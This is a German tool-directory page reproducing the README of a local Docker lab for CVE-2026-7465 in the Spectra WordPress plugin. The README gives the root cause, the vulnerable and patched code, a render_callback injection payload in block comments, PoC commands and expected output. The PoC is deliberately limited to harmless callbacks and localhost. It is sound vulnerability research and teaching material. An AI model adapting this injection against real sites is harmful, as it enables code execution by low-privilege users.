Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-7465-Lab — Lokales Docker-Labor zur Analyse und Reproduktion von CVE-2026-7465 im Spectra Gutenberg Blocks WordPress-Plugin. Vergleicht anfällige und gepatchte Versionen mit einem möglichst harmlosen PoC, der eine render_callback-Injektion demonstriert. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Lokales Docker-Labor zur Analyse und Reproduktion von CVE-2026-7465 im Spectra Gutenberg Blocks WordPress-Plugin. Vergleicht anfällige und gepatchte Versionen mit einem möglichst harmlosen PoC, der eine render_callback-Injektion demonstriert.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE-2026-7465 - Spectra Gutenberg Blocks Lokales Labor

Lokales Docker-Labor zur Analyse und Reproduktion von CVE-2026-7465 im WordPress-Plugin Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).

Dieses Labor vergleicht:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

Der Nachweis ist absichtlich minimal schädlich. Er führt keine Shell-Befehle aus, lädt keine Dateien hoch, erstellt keine Benutzer und ändert den Container nicht direkt. Der PoC erstellt einen temporären WordPress-Entwurfsbeitrag, überprüft das gerenderte Blockverhalten und löscht den Entwurf dann.


Zusammenfassung

CVE-2026-7465 ist eine Schwachstelle in Spectra Gutenberg Blocks, bei der benutzergesteuerte Gutenberg-Blockattribute in WordPress-Blockregistrierungsargumente übergeben werden konnten.

In der verwundbaren Version registriert Spectra dynamisch geparste uagb/*-Blöcke unter Verwendung von Blockattributen aus dem Beitragsinhalt:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

Da ein Contributor Beitragsinhalte mit Gutenberg-Blockkommentaren erstellen kann, kann ein authentifizierter Contributor-Level-Benutzer Registrierungsargumente wie render_callback beeinflussen.

Version 2.19.26 behebt das Problem, indem der Block mit einem leeren Argumentarray registriert wird:

root@kitploit:~
$registry->register( $block['blockName'], array() );

Dies verhindert, dass beitragsgesteuerte Blockattribute zu PHP-Blockregistrierungsoptionen werden.


Betroffene Komponente

Produkt:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

In diesem Labor verwendete Versionen:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

Das WordPress.org-Änderungsprotokoll für 2.19.26 gibt an, dass das Update einen Sicherheitsfehler behoben hat und dankt Wordfence für die verantwortungsvolle Meldung.


Ursache

Die verwundbare Logik befindet sich in:

root@kitploit:~
classes/class-uagb-init-blocks.php

Der verwundbare Code prüft, ob ein geparster Blockname den Namespace uagb/ enthält. Wenn der Block noch nicht registriert ist, registriert er den Block dynamisch.

Verwundbares Verhalten

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

Das Problem ist das zweite Argument:

root@kitploit:~
$block['attrs']

In Gutenberg können Blockattribute im Beitragsinhalt gespeichert werden, zum Beispiel:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Ein Contributor kann Entwurfsbeitragsinhalte erstellen. Daher kann der Angreifer $block['attrs'] beeinflussen.

Wenn diese Attribute an WP_Block_Type_Registry::register() übergeben werden, werden sie zu Blockregistrierungsargumenten. Ein sensibles Registrierungsargument ist:

root@kitploit:~
render_callback

Dies erzeugt ein Callback-Kontroll-Primitiv.

Gepatchtes Verhalten

In 2.19.26 registriert Spectra weiterhin den geparsten Blocknamen uagb/*, übergibt aber keine beitragsgesteuerten Attribute mehr als Registrierungsargumente:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

Die wichtige Änderung ist:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

Dies entfernt angreifergesteuerte Attribute aus dem Blockregistrierungspfad.


Warum der PoC maybe_serialize verwendet

Der PoC verwendet keine gefährlichen PHP-Callbacks wie system, exec, shell_exec oder passthru.

Stattdessen verwendet er:

root@kitploit:~
maybe_serialize

Der Nachweisblockinhalt ist:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

Erwartetes Verhalten:

root@kitploit:~
vulnerable:
  render_callback aus Blockattributen wird akzeptiert
  Marker erscheint im gerenderten Inhalt

patched:
  render_callback aus Blockattributen wird ignoriert
  Marker erscheint nicht im gerenderten Inhalt

Dies beweist das verwundbare Verhalten, ohne Befehle auszuführen oder Dateien zu schreiben.


Laborarchitektur

Dienste:

root@kitploit:~
db_vuln      MariaDB für verwundbares WordPress
db_patched   MariaDB für gepatchtes WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    einmalige WordPress-Einrichtung für verwundbare Site
seed_patched einmalige WordPress-Einrichtung für gepatchte Site

Lokale Ports:

root@kitploit:~
http://127.0.0.1:8181 -> verwundbares WordPress
http://127.0.0.1:8182 -> gepatchtes WordPress

Vorinitialisierter WordPress-Benutzer:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

Der PoC ist rein HTTP-basiert. Er interagiert mit WordPress über Login- und REST-API-Anfragen.


Repository-Struktur

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Das Labor ausführen

Starten Sie mit einer sauberen Umgebung:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Container überprüfen:

root@kitploit:~
docker compose ps

Seed-Logs überprüfen:

root@kitploit:~
docker compose logs seed_vuln seed_patched

Erwartetes Seed-Ergebnis:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

Den PoC ausführen

Verwundbares Ziel testen:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

Erwartetes Verwundbarkeitsurteil:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

Gepatchtes Ziel testen:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

Erwartetes Patch-Urteil:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

Erwartete Ausgabe

Verwundbar - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

Gepatcht - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

Interpretation der Beweise

Der wichtige Vergleich ist:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

Beide Ziele (verwundbar und gepatcht) sollten Folgendes anzeigen:

root@kitploit:~
raw_contains_marker: True

Dies bestätigt, dass derselbe Blockinhalt erfolgreich in einem temporären Entwurfsbeitrag gespeichert wurde.

Der Unterschied liegt in der gerenderten Ausgabe:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

Dies zeigt, dass die verwundbare Version den beitragsgesteuerten render_callback akzeptierte, während die gepatchte Version dies nicht tat.

Bereinigung

Container, Netzwerke und Volumes stoppen und entfernen:

root@kitploit:~
docker compose down -v --remove-orphans

Python-Cache entfernen, falls vorhanden:

root@kitploit:~
rm -rf poc/__pycache__

Sicherheitshinweise

Dieses Repository dient ausschließlich der lokalen Sicherheitsforschung und Portfolio-Demonstration.

Der PoC:

  • zielt nur auf localhost- oder Loopback-Adressen ab
  • verwendet authentifizierten WordPress-Zugriff im lokalen Labor
  • erstellt einen temporären Entwurfsbeitrag
  • löscht den Entwurfsbeitrag nach Überprüfung des gerenderten Verhaltens
  • führt keine Shell-Befehle aus
  • lädt keine Dateien hoch
  • erstellt keine Benutzer
  • ändert Docker-Container nicht direkt
  • bietet keinen Workflow für entfernte Ausnutzung

Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.


Referenzen

  • WordPress.org Plugin-Seite: Spectra Gutenberg Blocks - Website Builder für den Block-Editor
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • WordPress.org-Änderungsprotokoll: Sicherheitsupdate 2.19.26 - Montag, 4. Mai 2026, das Wordfence zugeschrieben wird
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress Plugin SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

Tool herunterladen